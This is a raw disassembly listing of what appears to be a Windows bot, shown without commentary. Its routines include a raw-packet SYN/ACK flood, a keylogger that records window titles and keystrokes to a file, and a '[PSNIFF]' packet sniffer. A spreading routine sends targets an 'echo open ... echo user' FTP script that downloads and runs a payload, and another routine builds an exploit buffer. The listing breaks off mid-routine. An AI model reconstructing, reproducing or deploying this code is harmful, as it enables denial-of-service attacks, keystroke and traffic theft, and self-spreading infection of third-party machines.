lea eax, [ebp+var_440]
push [ebp+var_AC]
push eax
lea eax, [ebp+var_13C]
push eax
push [ebp+var_240]
call sub_412D4C
add esp, 14h
loc_401D6D: ; CODE XREF: sub_401BD6+172j
lea eax, [ebp+var_440]
push eax
call sub_40B16D
push [ebp+var_BC]
call sub_4152AF
pop ecx
pop ecx
push ebx
call dword_421048
loc_401D8D: ; CODE XREF: sub_401BD6+157j
push 10h
lea eax, [ebp+var_44]
push ebx
push eax
call sub_415570
add esp, 0Ch
mov [ebp+var_44], 2
push ebx
call dword_43A3B8
mov [ebp+var_42], ax
lea eax, [ebp+var_23C]
push eax
call dword_43A3F8
mov [ebp+var_40], eax
mov [ebp+arg_0], ebx
call edi
mov [ebp+var_30], eax
loc_401DC5: ; CODE XREF: sub_401BD6+430j
call edi
sub eax, [ebp+var_30]
xor edx, edx
mov ecx, 3E8h
div ecx
cmp eax, [ebp+var_B4]
ja loc_402089
push 28h
mov [ebp+var_2C], 45h
call dword_43A3B8
cmp [ebp+var_B0], ebx
mov [ebp+var_2A], ax
mov [ebp+var_28], si
mov [ebp+var_26], bx
mov [ebp+var_24], 80h
mov [ebp+var_23], 6
mov [ebp+var_22], bx
jz short loc_401E38
call sub_415543
mov esi, eax
shl esi, 8
call sub_415543
add esi, eax
shl esi, 8
call sub_415543
add esi, eax
shl esi, 8
call sub_415543
add esi, eax
push 1
mov [ebp+var_20], esi
pop esi
jmp short loc_401E4E
; ---------------------------------------------------------------------------
loc_401E38: ; CODE XREF: sub_401BD6+233j
push [ebp+var_240]
call sub_40A171
pop ecx
push eax
call dword_43A3F8
mov [ebp+var_20], eax
loc_401E4E: ; CODE XREF: sub_401BD6+260j
mov eax, [ebp+var_40]
cmp [ebp+var_B8], ebx
mov [ebp+var_1C], eax
jnz short loc_401E6C
call sub_415543
cdq
mov ecx, 401h
idiv ecx
push edx
jmp short loc_401E72
; ---------------------------------------------------------------------------
loc_401E6C: ; CODE XREF: sub_401BD6+284j
push [ebp+var_B8]
loc_401E72: ; CODE XREF: sub_401BD6+294j
call dword_43A3B8
mov [ebp+var_16], ax
call sub_415543
cdq
mov ecx, 401h
idiv ecx
push edx
call dword_43A3B8
push 12345678h
mov [ebp+var_18], ax
call dword_43A3B4
mov [ebp+var_14], eax
lea eax, [ebp+var_1BC]
push offset aSyn ; "syn"
push eax
call sub_415AC0
pop ecx
test eax, eax
pop ecx
jz short loc_401EC2
mov [ebp+var_10], ebx
mov [ebp+var_B], 2
jmp short loc_401F1E
; ---------------------------------------------------------------------------
loc_401EC2: ; CODE XREF: sub_401BD6+2E1j
lea eax, [ebp+var_1BC]
push offset aAck ; "ack"
push eax
call sub_415AC0
pop ecx
test eax, eax
pop ecx
jz short loc_401EE2
mov [ebp+var_10], ebx
mov [ebp+var_B], 10h
jmp short loc_401F1E
; ---------------------------------------------------------------------------
loc_401EE2: ; CODE XREF: sub_401BD6+301j
lea eax, [ebp+var_1BC]
push offset aRandom ; "random"
push eax
call sub_415AC0
pop ecx
test eax, eax
pop ecx
jz short loc_401F1E
call sub_415543
push 3
cdq
pop ecx
idiv ecx
mov [ebp+var_10], edx
call sub_415543
push 2
cdq
pop ecx
idiv ecx
neg edx
sbb dl, dl
and dl, 0Eh
add dl, cl
mov [ebp+var_B], dl
loc_401F1E: ; CODE XREF: sub_401BD6+2EAj
; sub_401BD6+30Aj ...
push 200h
mov [ebp+var_C], 50h
call dword_43A3B8
mov [ebp+var_A], ax
mov eax, [ebp+var_20]
mov [ebp+var_64], eax
mov eax, [ebp+var_1C]
push 14h
mov [ebp+var_6], bx
mov [ebp+var_8], bx
mov [ebp+var_60], eax
mov [ebp+var_5C], bl
mov [ebp+var_5B], 6
call dword_43A3B8
mov [ebp+var_5A], ax
lea eax, [ebp+var_64]
push 20h
push eax
lea eax, [ebp+var_A0]
push eax
call sub_4155D0
lea eax, [ebp+var_18]
push 14h
push eax
lea eax, [ebp+var_80]
push eax
call sub_4155D0
lea eax, [ebp+var_A0]
push 34h
push eax
call sub_40A1CA
mov [ebp+var_8], ax
lea eax, [ebp+var_2C]
push 14h
push eax
lea eax, [ebp+var_A0]
push eax
call sub_4155D0
lea eax, [ebp+var_18]
push 14h
push eax
lea eax, [ebp+var_8C]
push eax
call sub_4155D0
push 4
lea eax, [ebp+var_78]
push ebx
push eax
call sub_415570
add esp, 44h
lea eax, [ebp+var_A0]
push 28h
push eax
call sub_40A1CA
mov [ebp+var_22], ax
lea eax, [ebp+var_2C]
push 14h
push eax
lea eax, [ebp+var_A0]
push eax
call sub_4155D0
add esp, 14h
lea eax, [ebp+var_44]
push 10h
push eax
push ebx
lea eax, [ebp+var_A0]
push 3Ch
push eax
push [ebp+var_4]
call dword_43A41C
cmp eax, 0FFFFFFFFh
jz short loc_40200B
inc [ebp+arg_0]
jmp loc_401DC5
; ---------------------------------------------------------------------------
loc_40200B: ; CODE XREF: sub_401BD6+42Bj
push [ebp+var_4]
call dword_43A450
call dword_43A34C
push eax
lea eax, [ebp+var_23C]
push [ebp+arg_0]
push eax
push offset dword_423344
lea eax, [ebp+var_440]
push 200h
push eax
call sub_415A6A
add esp, 18h
cmp [ebp+var_A8], ebx
jnz short loc_402069
push ebx
lea eax, [ebp+var_440]
push [ebp+var_AC]
push eax
lea eax, [ebp+var_13C]
push eax
push [ebp+var_240]
call sub_412D4C
add esp, 14h
loc_402069: ; CODE XREF: sub_401BD6+46Ej
lea eax, [ebp+var_440]
push eax
call sub_40B16D
push [ebp+var_BC]
call sub_4152AF
pop ecx
pop ecx
push ebx
call dword_421048
loc_402089: ; CODE XREF: sub_401BD6+203j
push [ebp+var_4]
call dword_43A450
mov eax, [ebp+arg_0]
xor edx, edx
imul eax, 3Ch
mov ecx, eax
shr eax, 0Ah
div [ebp+var_B4]
shr ecx, 14h
push ecx
push eax
lea eax, [ebp+var_23C]
push [ebp+arg_0]
push eax
lea eax, [ebp+var_1BC]
push eax
lea eax, [ebp+var_440]
push offset dword_4232E0
push eax
call sub_4154E7
add esp, 1Ch
cmp [ebp+var_A8], ebx
jnz short loc_4020FA
push ebx
lea eax, [ebp+var_440]
push [ebp+var_AC]
push eax
lea eax, [ebp+var_13C]
push eax
push [ebp+var_240]
call sub_412D4C
add esp, 14h
loc_4020FA: ; CODE XREF: sub_401BD6+4FFj
lea eax, [ebp+var_440]
push eax
call sub_40B16D
push [ebp+var_BC]
call sub_4152AF
pop ecx
pop ecx
push ebx
call dword_421048
sub_401BD6 endp ; sp-analysis failed
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_40211A proc near ; CODE XREF: sub_4021FB+B4p
; sub_4021FB+253p
var_314 = byte ptr -314h
var_114 = byte ptr -114h
var_10 = word ptr -10h
var_E = word ptr -0Eh
var_A = word ptr -0Ah
var_8 = word ptr -8
var_6 = word ptr -6
var_4 = word ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_C = byte ptr 14h
arg_8C = dword ptr 94h
arg_90 = dword ptr 98h
push ebp
mov ebp, esp
loc_40211D: ; DATA XREF: .nsp0:off_42F3C4o
sub esp, 314h
lea eax, [ebp+var_10]
push esi
push eax
call dword_42105C
lea eax, [ebp+var_114]
push 104h
push eax
call dword_421058
lea eax, [ebp+var_114]
push offset asc_423C30 ; "\\"
push eax
call sub_415C10
lea eax, [ebp+var_114]
push offset dword_42C20C
push eax
call sub_415C10
lea eax, [ebp+var_114]
push offset aAb ; "ab"
push eax
call sub_415BE8
mov esi, eax
add esp, 18h
test esi, esi
jnz short loc_402181
push 1
pop eax
jmp short loc_4021F8
; ---------------------------------------------------------------------------
loc_402181: ; CODE XREF: sub_40211A+60j
movzx eax, [ebp+var_4]
push [ebp+arg_0]
push eax
movzx eax, [ebp+var_6]
push eax
movzx eax, [ebp+var_8]
push eax
movzx eax, [ebp+var_10]
push eax
movzx eax, [ebp+var_A]
push eax
movzx eax, [ebp+var_E]
push eax
push offset aDDDDDDS ; "[%d-%d-%d %d:%d:%d] %s\r\n"
push esi
call sub_415B96
push esi
call sub_415B40
add esp, 28h
cmp [ebp+arg_90], 0
jnz short loc_4021F6
push [ebp+arg_0]
lea eax, [ebp+var_314]
push offset dword_423BEC
push 200h
push eax
call sub_415A6A
push 0
lea eax, [ebp+var_314]
push [ebp+arg_8C]
push eax
lea eax, [ebp+arg_C]
push eax
push [ebp+arg_4]
call sub_412D4C
add esp, 24h
loc_4021F6: ; CODE XREF: sub_40211A+A3j
xor eax, eax
loc_4021F8: ; CODE XREF: sub_40211A+65j
pop esi
leave
retn
sub_40211A endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_4021FB proc near ; DATA XREF: sub_40CE55+1E1Eo
var_8DC = dword ptr -8DCh
var_8D8 = byte ptr -8D8h
var_4DC = byte ptr -4DCh
var_2DD = byte ptr -2DDh
var_2DC = byte ptr -2DCh
var_DC = byte ptr -0DCh
var_D8 = dword ptr -0D8h
var_48 = byte ptr -48h
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
push ebp
mov ebp, esp
sub esp, 8DCh
mov eax, [ebp+arg_0]
push ebx
push esi
push edi
and [ebp+var_8DC], 0
push 25h
and [ebp+var_4], 0
pop ecx
mov esi, eax
lea edi, [ebp+var_DC]
rep movsd
mov dword ptr [eax+90h], 1
mov ecx, 0FFh
xor eax, eax
lea edi, [ebp+var_8D8]
rep stosd
call dword_43A340
lea ecx, [ebp+var_48]
push 3Ch
push ecx
push eax
mov [ebp+var_8], eax
call dword_43A354
mov ebx, 200h
loc_402256: ; CODE XREF: sub_4021FB+2C7j
push 8
call dword_421060
call dword_43A340
cmp eax, [ebp+var_8]
jz short loc_4022DE
lea ecx, [ebp+var_48]
push 3Ch
push ecx
push eax
mov [ebp+var_8], eax
call dword_43A354
lea eax, [ebp+var_48]
push eax
lea eax, [ebp+var_2DC]
push eax
lea eax, [ebp+var_4DC]
push offset aSChangedWindow ; "%s (Changed Windows: %s)"
push eax
call sub_4154E7
sub esp, 84h
lea esi, [ebp+var_DC]
lea eax, [ebp+var_4DC]
push 25h
pop ecx
mov edi, esp
push eax
rep movsd
call sub_40211A
mov [ebp+var_4], eax
push ebx
lea eax, [ebp+var_2DC]
push 0
push eax
call sub_415570
add esp, 0A4h
lea eax, [ebp+var_4DC]
push ebx
push 0
push eax
call sub_415570
add esp, 0Ch
loc_4022DE: ; CODE XREF: sub_4021FB+6Cj
mov [ebp+arg_0], offset aB ; "b"
loc_4022E5: ; CODE XREF: sub_4021FB+2BDj
push 10h
call dword_43A298
movsx esi, ax
mov eax, [ebp+arg_0]
mov edi, [eax-4]
push edi
call dword_43A384
test ah, 80h
jz short loc_40237D
push 14h
call dword_43A298
test ax, ax
jz short loc_40232E
cmp esi, 0FFFFFFFFh
jle short loc_40232E
cmp edi, 40h
jle short loc_40232E
cmp edi, 5Bh
jge short loc_40232E
mov [ebp+edi*4+var_8DC], 1
jmp loc_4024AD
; ---------------------------------------------------------------------------
loc_40232E: ; CODE XREF: sub_4021FB+112j
; sub_4021FB+117j ...
push 14h
call dword_43A298
test ax, ax
jz short loc_402359
test esi, esi
jge short loc_40236D
cmp edi, 40h
jle short loc_402359
cmp edi, 5Bh
jge short loc_402359
mov [ebp+edi*4+var_8DC], 2
jmp loc_4024AD
; ---------------------------------------------------------------------------
loc_402359: ; CODE XREF: sub_4021FB+13Ej
; sub_4021FB+147j ...
test esi, esi
jge short loc_40236D
mov [ebp+edi*4+var_8DC], 3
jmp loc_4024AD
; ---------------------------------------------------------------------------
loc_40236D: ; CODE XREF: sub_4021FB+142j
; sub_4021FB+160j
mov [ebp+edi*4+var_8DC], 4
jmp loc_4024AD
; ---------------------------------------------------------------------------
loc_40237D: ; CODE XREF: sub_4021FB+105j
mov esi, [ebp+edi*4+var_8DC]
lea eax, [ebp+edi*4+var_8DC]
test esi, esi
jz loc_4024AD
and dword ptr [eax], 0
lea eax, [ebp+var_2DC]
cmp edi, 8
push eax
jnz short loc_4023B5
call sub_415CF0
and [ebp+eax+var_2DD], 0
pop ecx
jmp loc_4024AD
; ---------------------------------------------------------------------------
loc_4023B5: ; CODE XREF: sub_4021FB+1A5j
call sub_415CF0
cmp eax, 1B9h
pop ecx
jbe short loc_4023E7
call dword_43A340
lea ecx, [ebp+var_48]
push 3Ch
push ecx
push eax
call dword_43A354
lea eax, [ebp+var_48]
push eax
lea eax, [ebp+var_2DC]
push eax
push offset aSBufferFullS ; "%s (Buffer full) (%s)"
jmp short loc_402428
; ---------------------------------------------------------------------------
loc_4023E7: ; CODE XREF: sub_4021FB+1C5j
cmp edi, 0Dh
jnz loc_40247F
lea eax, [ebp+var_2DC]
push eax
call sub_415CF0
test eax, eax
pop ecx
jz loc_4024AD
call dword_43A340
lea ecx, [ebp+var_48]
push 3Ch
push ecx
push eax
call dword_43A354
lea eax, [ebp+var_48]
push eax
lea eax, [ebp+var_2DC]
push eax
push offset aSReturnS ; "%s (Return) (%s)"
loc_402428: ; CODE XREF: sub_4021FB+1EAj
lea eax, [ebp+var_4DC]
push eax
call sub_4154E7
sub esp, 84h
lea esi, [ebp+var_DC]
lea eax, [ebp+var_4DC]
push 25h
pop ecx
mov edi, esp
push eax
rep movsd
call sub_40211A
mov [ebp+var_4], eax
push ebx
lea eax, [ebp+var_2DC]
push 0
push eax
call sub_415570
add esp, 0A4h
lea eax, [ebp+var_4DC]
push ebx
push 0
push eax
call sub_415570
add esp, 0Ch
jmp short loc_4024AD
; ---------------------------------------------------------------------------
loc_40247F: ; CODE XREF: sub_4021FB+1EFj
cmp esi, 1
jz short loc_402498
cmp esi, 3
jz short loc_402498
cmp esi, 2
jz short loc_402493
cmp esi, 4
jnz short loc_4024AD
loc_402493: ; CODE XREF: sub_4021FB+291j
push [ebp+arg_0]
jmp short loc_40249F
; ---------------------------------------------------------------------------
loc_402498: ; CODE XREF: sub_4021FB+287j
; sub_4021FB+28Cj
mov eax, [ebp+arg_0]
add eax, 7
push eax
loc_40249F: ; CODE XREF: sub_4021FB+29Bj
lea eax, [ebp+var_2DC]
push eax
call sub_415C10
pop ecx
pop ecx
loc_4024AD: ; CODE XREF: sub_4021FB+12Ej
; sub_4021FB+159j ...
add [ebp+arg_0], 14h
cmp [ebp+arg_0], offset dword_423BB4
jl loc_4022E5
cmp [ebp+var_4], 0
jz loc_402256
push [ebp+var_D8]
call sub_4152AF
pop ecx
push 0
call dword_421048
sub_4021FB endp ; sp-analysis failed
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_4024DC proc near ; DATA XREF: sub_40CE55+1C67o
var_102B4 = byte ptr -102B4h
var_102AB = byte ptr -102ABh
var_102A8 = dword ptr -102A8h
var_102A0 = dword ptr -102A0h
var_10293 = byte ptr -10293h
var_1028C = byte ptr -1028Ch
var_2B4 = byte ptr -2B4h
var_B4 = dword ptr -0B4h
var_B0 = byte ptr -0B0h
var_30 = dword ptr -30h
var_2C = dword ptr -2Ch
var_28 = dword ptr -28h
var_20 = byte ptr -20h
var_1C = word ptr -1Ch
var_1A = word ptr -1Ah
var_18 = dword ptr -18h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
push ebp
mov ebp, esp
mov eax, 102B4h
call sub_415D70
mov edx, [ebp+arg_0]
push esi
push edi
push 1
pop eax
mov esi, edx
push 25h
lea edi, [ebp+var_B4]
pop ecx
mov [ebp+var_8], eax
rep movsd
mov [edx+90h], eax
xor esi, esi
push 10h
lea eax, [ebp+var_1C]
push esi
push eax
call sub_415570
add esp, 0Ch
mov [ebp+var_1C], 2
push esi
call dword_43A3B8
push [ebp+var_B4]
mov [ebp+var_1A], ax
call sub_40A171
pop ecx
push eax
call dword_43A3F8
push esi
push 3
push 2
mov [ebp+var_18], eax
call dword_43A438
mov edi, eax
cmp edi, 0FFFFFFFFh
mov [ebp+var_4], edi
jnz short loc_4025B1
call dword_43A34C
push eax
lea eax, [ebp+var_2B4]
push offset dword_42462C
push eax
call sub_4154E7
add esp, 0Ch
cmp [ebp+var_28], esi
jnz short loc_402594
push esi
lea eax, [ebp+var_2B4]
push [ebp+var_2C]
push eax
lea eax, [ebp+var_B0]
push eax
push [ebp+var_B4]
call sub_412D4C
add esp, 14h
loc_402594: ; CODE XREF: sub_4024DC+96j
lea eax, [ebp+var_2B4]
push eax
call sub_40B16D
push [ebp+var_30]
call sub_4152AF
pop ecx
pop ecx
push esi
call dword_421048
loc_4025B1: ; CODE XREF: sub_4024DC+76j
mov eax, [ebp+var_30]
push 10h
imul eax, 234h
mov dword_43F554[eax], edi
lea eax, [ebp+var_1C]
push eax
push edi
call dword_43A3E4
cmp eax, 0FFFFFFFFh
jnz short loc_402636
call dword_43A34C
push eax
lea eax, [ebp+var_2B4]
push offset unk_4245E4
push eax
call sub_4154E7
add esp, 0Ch
cmp [ebp+var_28], esi
jnz short loc_402612
push esi
lea eax, [ebp+var_2B4]
push [ebp+var_2C]
push eax
lea eax, [ebp+var_B0]
push eax
push [ebp+var_B4]
call sub_412D4C
add esp, 14h
loc_402612: ; CODE XREF: sub_4024DC+114j
lea eax, [ebp+var_2B4]
push eax
call sub_40B16D
pop ecx
push edi
call dword_43A450
push [ebp+var_30]
call sub_4152AF
pop ecx
push esi
call dword_421048
loc_402636: ; CODE XREF: sub_4024DC+F4j
push esi
lea eax, [ebp+var_20]
push esi
push eax
push esi
push esi
lea eax, [ebp+var_8]
push 4
push eax
push 98000001h
push edi
call dword_43A364
cmp eax, 0FFFFFFFFh
jnz short loc_4026B9
call dword_43A34C
push eax
lea eax, [ebp+var_2B4]
push offset unk_424598
push eax
call sub_4154E7
add esp, 0Ch
cmp [ebp+var_28], esi
jnz short loc_402695
push esi
lea eax, [ebp+var_2B4]
push [ebp+var_2C]
push eax
lea eax, [ebp+var_B0]
push eax
push [ebp+var_B4]
call sub_412D4C
add esp, 14h
loc_402695: ; CODE XREF: sub_4024DC+197j
lea eax, [ebp+var_2B4]
push eax
call sub_40B16D
pop ecx
push edi
call dword_43A450
push [ebp+var_30]
call sub_4152AF
pop ecx
push esi
call dword_421048
loc_4026B9: ; CODE XREF: sub_4024DC+177j
push ebx
mov ebx, offset dword_423C90
loc_4026BF: ; CODE XREF: sub_4024DC+21Bj
; sub_4024DC+22Dj ...
mov edi, 0FFFFh
lea eax, [ebp+var_102B4]
push edi
push esi
push eax
call sub_415570
add esp, 0Ch
lea eax, [ebp+var_102B4]
push esi
push edi
push eax
push [ebp+var_4]
call dword_43A3D0
cmp eax, 0FFFFFFFFh
jz loc_4027D1
cmp [ebp+var_102AB], 6
jnz short loc_4026BF
mov eax, [ebp+var_102A8]
cmp [ebp+var_10293], 18h
mov [ebp+var_C], eax
jnz short loc_4026BF
lea eax, [ebp+var_1028C]
push offset aPsniff ; "[PSNIFF]"
push eax
call sub_415AC0
pop ecx
test eax, eax
pop ecx
jnz short loc_4026BF
mov eax, ebx
xor edi, edi
test eax, eax
jz short loc_4026BF
mov [ebp+arg_0], ebx
loc_40272D: ; CODE XREF: sub_4024DC+26Cj
push eax
lea eax, [ebp+var_1028C]
push eax
call sub_415AC0
pop ecx
test eax, eax
pop ecx
jnz short loc_40274F
inc edi
add [ebp+arg_0], 18h
mov eax, [ebp+arg_0]
jnz short loc_40272D
jmp loc_4026BF
; ---------------------------------------------------------------------------
loc_40274F: ; CODE XREF: sub_4024DC+262j
lea eax, [ebp+var_1028C]
push eax
push [ebp+var_102A0]
call dword_43A2F4
movzx eax, ax
push eax
push [ebp+var_C]
call dword_43A444
push eax
lea eax, [edi+edi*2]
mov eax, dword_423CA4[eax*8]
push off_423C80[eax*4]
lea eax, [ebp+var_2B4]
push offset unk_424544
push 200h
push eax
call sub_415A6A
add esp, 1Ch
cmp [ebp+var_28], esi
jnz short loc_4027BF
push esi
lea eax, [ebp+var_2B4]
push [ebp+var_2C]
push eax
lea eax, [ebp+var_B0]
push eax
push [ebp+var_B4]
call sub_412D4C
add esp, 14h
loc_4027BF: ; CODE XREF: sub_4024DC+2C1j
lea eax, [ebp+var_2B4]
push eax
call sub_40B16D
pop ecx
jmp loc_4026BF
; ---------------------------------------------------------------------------
loc_4027D1: ; CODE XREF: sub_4024DC+20Ej
call dword_43A34C
push eax
push offset unk_4244FC
lea eax, [ebp+var_2B4]
push 200h
push eax
call sub_415A6A
add esp, 10h
cmp [ebp+var_28], esi
pop ebx
jnz short loc_402817
push esi
lea eax, [ebp+var_2B4]
push [ebp+var_2C]
push eax
lea eax, [ebp+var_B0]
push eax
push [ebp+var_B4]
call sub_412D4C
add esp, 14h
loc_402817: ; CODE XREF: sub_4024DC+319j
lea eax, [ebp+var_2B4]
push eax
call sub_40B16D
pop ecx
push [ebp+var_4]
call dword_43A450
push [ebp+var_30]
call sub_4152AF
pop ecx
push esi
call dword_421048
sub_4024DC endp ; sp-analysis failed
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_40283D proc near ; CODE XREF: sub_402988+440p
var_5A4 = byte ptr -5A4h
var_1A4 = byte ptr -1A4h
var_14 = word ptr -14h
var_12 = word ptr -12h
var_10 = dword ptr -10h
var_4 = dword ptr -4
arg_4 = byte ptr 0Ch
push ebp
mov ebp, esp
sub esp, 5A4h
push ebx
push esi
push edi
xor esi, esi
push 10h
lea eax, [ebp+var_14]
push esi
push eax
call sub_415570
add esp, 0Ch
lea eax, [ebp+arg_4]
mov [ebp+var_14], 2
push eax
call dword_4211D8
mov [ebp+var_10], eax
mov ax, word_424F58
push eax
call dword_4211DC
push esi
push 1
push 2
mov [ebp+var_12], ax
call dword_4211E0
mov edi, eax
cmp edi, 0FFFFFFFFh
mov [ebp+var_4], edi
jz loc_40295D
lea eax, [ebp+var_14]
push 10h
push eax
push edi
call dword_4211E4
cmp eax, 0FFFFFFFFh
jz loc_40295D
push esi
lea eax, [ebp+var_5A4]
push 400h
push eax
push edi
call dword_4211E8
mov esi, offset byte_42C1FC
mov ebx, 190h
push esi
push esi
push offset aDd_ ; "dd."
push offset aDd ; "dd"
push offset a58730 ; "58730"
push offset dword_4689B4
push offset aEchoOpenSDEqEc ; "echo open %s %d >> eq&echo user %s %s >"...
lea eax, [ebp+var_1A4]
push ebx
push eax
call sub_415A6A
add esp, 24h
lea eax, [ebp+var_1A4]
push 0
push eax
call sub_415CF0
pop ecx
push eax
lea eax, [ebp+var_1A4]
push eax
push edi
mov edi, dword_4211EC
call edi
cmp eax, 0FFFFFFFFh
jz short loc_40295D
push 1F4h
call dword_421060
push esi
push offset dword_425050
lea eax, [ebp+var_1A4]
push ebx
push eax
call sub_415A6A
add esp, 10h
lea eax, [ebp+var_1A4]
push 0
push eax
call sub_415CF0
pop ecx
push eax
lea eax, [ebp+var_1A4]
push eax
push [ebp+var_4]
call edi
cmp eax, 0FFFFFFFFh
jnz short loc_402961
loc_40295D: ; CODE XREF: sub_40283D+54j
; sub_40283D+6Aj ...
xor al, al
jmp short loc_402983
; ---------------------------------------------------------------------------
loc_402961: ; CODE XREF: sub_40283D+11Ej
push 0
lea eax, [ebp+var_5A4]
push 400h
push eax
push [ebp+var_4]
call dword_4211E8
push [ebp+var_4]
call dword_4211F0
mov al, 1
loc_402983: ; CODE XREF: sub_40283D+122j
pop edi
pop esi
pop ebx
leave
retn
sub_40283D endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_402988 proc near ; CODE XREF: sub_402DDD+11Bp
; sub_402DDD+13Dp
var_89B0 = byte ptr -89B0h
var_8948 = byte ptr -8948h
var_68D8 = byte ptr -68D8h
var_6868 = byte ptr -6868h
var_5DA4 = byte ptr -5DA4h
var_4800 = byte ptr -4800h
var_47FF = byte ptr -47FFh
var_376C = byte ptr -376Ch
var_2CA8 = byte ptr -2CA8h
var_2CA7 = byte ptr -2CA7h
var_2CA4 = byte ptr -2CA4h
var_2C28 = byte ptr -2C28h
var_2458 = byte ptr -2458h
var_1FAD = byte ptr -1FADh
var_1CC0 = byte ptr -1CC0h
var_14DC = byte ptr -14DCh
var_14CC = byte ptr -14CCh
var_11A8 = byte ptr -11A8h
var_11A4 = byte ptr -11A4h
var_1198 = byte ptr -1198h
var_F10 = byte ptr -0F10h
var_E70 = byte ptr -0E70h
var_764 = dword ptr -764h
var_754 = byte ptr -754h
var_740 = byte ptr -740h
var_100 = byte ptr -100h
var_FF = byte ptr -0FFh
var_B0 = byte ptr -0B0h
var_AD = byte ptr -0ADh
var_83 = byte ptr -83h
var_81 = byte ptr -81h
var_80 = byte ptr -80h
var_38 = byte ptr -38h
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_2 = byte ptr -2
var_1 = byte ptr -1
arg_0 = byte ptr 8
arg_4 = byte ptr 0Ch
arg_BC = dword ptr 0C4h
arg_C0 = dword ptr 0C8h
push ebp
mov ebp, esp
mov eax, 89B0h
call sub_415D70
mov eax, dword_4250D0
push ebx
mov [ebp+var_10], eax
mov eax, dword_4250D4
mov [ebp+var_C], eax
push esi
lea eax, [ebp+arg_4]
push edi
push eax
lea eax, [ebp+var_38]
push offset loc_4250C4
push eax
call sub_4154E7
add esp, 0Ch
xor ecx, ecx
lea eax, [ebp+var_FF]
loc_4029C5: ; CODE XREF: sub_402988+4Dj
mov dl, [ebp+ecx+var_38]
mov [eax-1], dl
and byte ptr [eax], 0
inc ecx
inc eax
inc eax
cmp ecx, 28h
jl short loc_4029C5
push 60h
lea eax, [ebp+var_B0]
push offset dword_424B68
push eax
call sub_4155D0
lea eax, [ebp+var_38]
push eax
call sub_415CF0
shl eax, 1
push eax
lea eax, [ebp+var_100]
push eax
lea eax, [ebp+var_80]
push eax
call sub_4155D0
add esp, 1Ch
lea eax, [ebp+var_38]
push 9
push (offset aC+3)
push eax
call sub_415CF0
pop ecx
lea eax, [ebp+eax*2+var_81]
push eax
call sub_4155D0
lea eax, [ebp+var_38]
push eax
call sub_415CF0
add al, 1Ah
push 1
shl al, 1
mov [ebp+var_1], al
lea eax, [ebp+var_1]
push eax
lea eax, [ebp+var_AD]
push eax
call sub_4155D0
lea eax, [ebp+var_38]
push eax
call sub_415CF0
shl al, 1
add al, 9
push 1
mov [ebp+var_2], al
lea eax, [ebp+var_2]
push eax
lea eax, [ebp+var_83]
push eax
call sub_4155D0
mov ax, word_424F58
add esp, 2Ch
push eax
call dword_4211DC
xor eax, 9999h
push 2
mov [ebp+var_8], eax
lea eax, [ebp+var_8]
push eax
push offset dword_424868
call sub_4155D0
add esp, 0Ch
cmp [ebp+arg_C0], 0
jz loc_402B7F
mov edi, 0DACh
lea eax, [ebp+var_1CC0]
push edi
push 90h
push eax
call sub_415570
mov eax, [ebp+arg_C0]
push 4
imul eax, 3Ch
lea ebx, dword_424F98[eax]
lea eax, [ebp+var_14DC]
push ebx
push eax
call sub_4155D0
mov esi, offset loc_4247B8
push esi
call sub_415CF0
push eax
lea eax, [ebp+var_14CC]
push esi
push eax
call sub_4155D0
push 4
lea eax, [ebp+var_11A8]
push offset loc_4250BC
push eax
call sub_4155D0
push 4
lea eax, [ebp+var_11A4]
push ebx
push eax
call sub_4155D0
add esp, 40h
push esi
call sub_415CF0
push eax
lea eax, [ebp+var_1198]
push esi
push eax
call sub_4155D0
add esp, 10h
xor ecx, ecx
lea eax, [ebp+var_47FF]
loc_402B35: ; CODE XREF: sub_402988+1BFj
mov dl, [ebp+ecx+var_1CC0]
mov [eax-1], dl
and byte ptr [eax], 0
inc ecx
inc eax
inc eax
cmp ecx, edi
jl short loc_402B35
and [ebp+var_2CA8], 0
and [ebp+var_2CA7], 0
mov esi, 1C52h
lea eax, [ebp+var_89B0]
push esi
push 31h
push eax
call sub_415570
push esi
lea eax, [ebp+var_68D8]
push 31h
push eax
call sub_415570
add esp, 18h
jmp short loc_402BD6
; ---------------------------------------------------------------------------
loc_402B7F: ; CODE XREF: sub_402988+115j
push 7D0h
lea eax, [ebp+var_F10]
push 90h
push eax
call sub_415570
mov esi, offset loc_4247B8
push esi
call sub_415CF0
push eax
lea eax, [ebp+var_E70]
push esi
push eax
call sub_4155D0
lea eax, [ebp+var_10]
push eax
call sub_415CF0
push eax
lea eax, [ebp+var_10]
push eax
lea eax, [ebp+var_754]
push eax
call sub_4155D0
mov eax, dword_424F98
add esp, 2Ch
mov [ebp+var_764], eax
loc_402BD6: ; CODE XREF: sub_402988+1F5j
push 0E29h
lea eax, [ebp+var_2CA4]
push 31h
push eax
call sub_415570
movsx eax, [ebp+var_1]
add esp, 0Ch
add eax, 4
mov esi, dword_4211EC
push 0
push eax
lea eax, [ebp+var_B0]
push eax
push [ebp+arg_BC]
call esi
cmp eax, 0FFFFFFFFh
jnz short loc_402C17
loc_402C10: ; CODE XREF: sub_402988+2C0j
; sub_402988+2EBj ...
xor al, al
jmp loc_402DD8
; ---------------------------------------------------------------------------
loc_402C17: ; CODE XREF: sub_402988+286j
mov edi, dword_4211E8
mov ebx, 640h
push 0
lea eax, [ebp+var_740]
push ebx
push eax
push [ebp+arg_BC]
call edi
push 0
push 68h
push offset dword_424BCC
push [ebp+arg_BC]
call esi
cmp eax, 0FFFFFFFFh
jz short loc_402C10
push 0
lea eax, [ebp+var_740]
push ebx
push eax
push [ebp+arg_BC]
call edi
push 0
push 0A0h
push offset dword_424C38
push [ebp+arg_BC]
call esi
cmp eax, 0FFFFFFFFh
jz short loc_402C10
push 0
lea eax, [ebp+var_740]
push ebx
push eax
push [ebp+arg_BC]
call edi
cmp [ebp+arg_C0], 0
jz loc_402D43
push 68h
lea eax, [ebp+var_89B0]
push offset dword_424DF0
push eax
call sub_4155D0
lea eax, [ebp+var_4800]
push 1B5Ah
push eax
lea eax, [ebp+var_8948]
push eax
call sub_4155D0
push 70h
